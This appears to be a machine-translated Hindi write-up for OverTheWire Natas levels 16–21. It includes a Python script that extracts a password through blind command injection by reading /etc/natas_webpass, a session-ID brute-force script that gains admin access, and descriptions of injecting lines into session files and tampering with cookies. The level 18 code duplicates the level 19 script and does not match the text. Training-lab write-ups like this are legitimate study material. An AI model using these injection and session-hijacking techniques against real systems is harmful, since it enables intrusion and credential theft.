नेटस वेब। वेब भेद्यता का फायदा उठाने के उद्देश्य से CTF मंच का मार्ग। भाग 3

इस लेख में, हम एक उदाहरण के रूप में नाट्स वॉरगेम्स का उपयोग करके कुछ WEB- पहचान के संचालन से निपटेंगे। प्रत्येक स्तर पर अगले स्तर के पासवर्ड तक पहुंच है। सभी पासवर्ड / etc / natas_webpass / files में भी संग्रहीत हैं। उदाहरण के लिए, natas5 का पासवर्ड फ़ाइल / etc / natas_webpass / natas5 में संग्रहीत है और केवल natas4 और natas5 उपयोगकर्ताओं के लिए पढ़ा जाता है।

पिछले भाग: भाग 1 और भाग 2

स्तर 16

स्रोत कोड को देखते हुए, सभी सेवा वर्ण फ़िल्टर किए जाते हैं, और दो फ़ाइलों से "ग्लूइंग" का स्थानांतरण असंभव है, क्योंकि स्ट्रिंग को उद्धरण चिह्नों में प्रेषित किया जाता है।



$ (Cmd) जैसे निर्माण का उपयोग करके आप "कुंजी" के आउटपुट को नियंत्रित कर सकते हैं।



विचार यह है:

1. अगर grep -i "key" file.txt कंस्ट्रक्शन, की एक खाली स्ट्रिंग है, तो पूरी फाइल प्रदर्शित होगी।
2. चूंकि पासवर्ड के साथ फाइल में केवल एक ही लाइन होती है, इसलिए हम इसके आउटपुट को नियंत्रित कर सकते हैं।
3. $ (Cmd) निर्माण के अंदर grep के लिए नियमित अभिव्यक्ति पास करके, हम -i पैरामीटर में पासवर्ड (जब हम पासवर्ड की शुरुआत का अनुमान लगाते हैं) के साथ एक लाइन आउटपुट करेंगे और कोई भी शब्दकोष से आउटपुट नहीं होगा। पासवर्ड एक रिक्त स्ट्रिंग होगा और संपूर्ण शब्दकोश। टेक्स्ट फ़ाइल प्रदर्शित की जाएगी।

import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0 passwd = "" while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close() print("Password : " + passwd) 

पासवर्ड मिल गया।

स्तर 17

हम पिछले परिदृश्य (दूसरे भाग से) के अनुसार sqlmap का उपयोग करते हैं।







एक पासवर्ड है।

स्तर 18

स्रोत कोड का विश्लेषण करते हैं।



पहला कदम यह जांचना है कि क्या ब्राउज़र में कुकीज़ सेट हैं। (फंक्शन my_session_start ())।



चूंकि कार्य में कुकीज़ को नियंत्रित करने के लिए कुछ भी नहीं है, इसका मतलब है कि उन्हें सेट किया जाना चाहिए, अर्थात, फ़ंक्शन गलत वापस आ जाएगा और रूट कोड में हम दूसरी शाखा में जाएंगे। उपयोगकर्ता नाम और पासवर्ड फ़ील्ड भरने की जाँच करना। Session_id () फ़ंक्शन 1 से 640 तक सीमा में एक यादृच्छिक संख्या को स्वीकार करता है (जो बहुत अजीब है कि ऐसा प्रतिबंध क्यों है) और session_start () फ़ंक्शन के लिए कॉन्फ़िगरेशन सेट करता है।





अगला, उपयोगकर्ता नाम == "व्यवस्थापक" की जाँच की जाती है। यदि हम एक व्यवस्थापक के रूप में लॉग इन करते हैं, तो हमें इस बारे में सूचित किया जाता है और अगले स्तर के लिए एक पासवर्ड दिया जाता है।



समाधान विचार: आईडी रेंज उपयोगकर्ताओं के लिए परिभाषित की गई है। हम एक ब्रूट फोर्स फ़ाइल लिखेंगे जो 1 से 640 तक की रेंज में आईडी के साथ पेज पर जाएगी।

 import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break 

हमें आईडी = 119 के साथ पासवर्ड मिलता है।

स्तर 19

चूंकि कोड समान है, विचार समान है। चलिए कुकी को देखते हैं।



हेक्स एन्कोडेड स्ट्रिंग। हम डिकोड करेंगे।



यह सिर्फ कोड बदलने के लिए बनी हुई है।

 import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break 

एक पासवर्ड है।

स्तर 20

स्रोत कोड का विश्लेषण करने के बाद, हम मान सकते हैं कि 2 कार्य ध्यान देने योग्य हैं।

Mywrite () फ़ंक्शन प्रत्येक लाइन पर key_value के रूप में डेटा लिखता है। लेकिन कुंजी को यादृच्छिक रूप से चुना जाता है, और मूल्य इनपुट फ़ील्ड से स्थानांतरित किया जाता है।



Myread () फ़ंक्शन सभी लाइनों से गुजरता है और अंतरिक्ष-अलग डेटा (कुंजी और मूल्य) पढ़ता है।



हम पासवर्ड तभी देखेंगे जब लाइन "एडमिन 1" ऐसी फाइल में दिखाई दे। तथ्य यह है कि हम एप्लिकेशन लॉजिक को बायपास कर सकते हैं और जितनी चाहें उतनी लाइनें लिख सकते हैं। ऐसा करने के लिए, हमें "मान 0_TranslationStrings_Key1_Valueue, आदि" फ़ॉर्म की एक पंक्ति भेजनी होगी।



फ़ाइल पर मान लिखे जाने के बाद, हम पृष्ठ को फिर से लोड करते हैं ताकि यह फ़ाइल से पढ़ा जाए।



हम पासवर्ड निकाल लेते हैं।

स्तर 21

हमें साइट के दो संस्करण प्रदान किए गए हैं। तथ्य यह है कि कुकीज़ और सत्र एक ही डोमेन पर विभिन्न पृष्ठों के बीच स्थानांतरण के लिए उपलब्ध हैं। हम दूसरी साइट के स्रोत कोड का अध्ययन करते हैं। सभी स्वीकृत पैरामीटर सत्र में सेट किए गए हैं। पिछले स्तरों के अनुरूप, आपको व्यवस्थापन => 1 सेट करना चाहिए।



बस 1 के मान के साथ एक नया व्यवस्थापक पैरामीटर जोड़ें, पृष्ठ को फिर से लोड करें और इन कुकीज़ को मुख्य पृष्ठ पर डालें।





हम पासवर्ड निकाल लेते हैं।

जारी रखा जाए। आप टेलीग्राम पर हमसे जुड़ सकते हैं।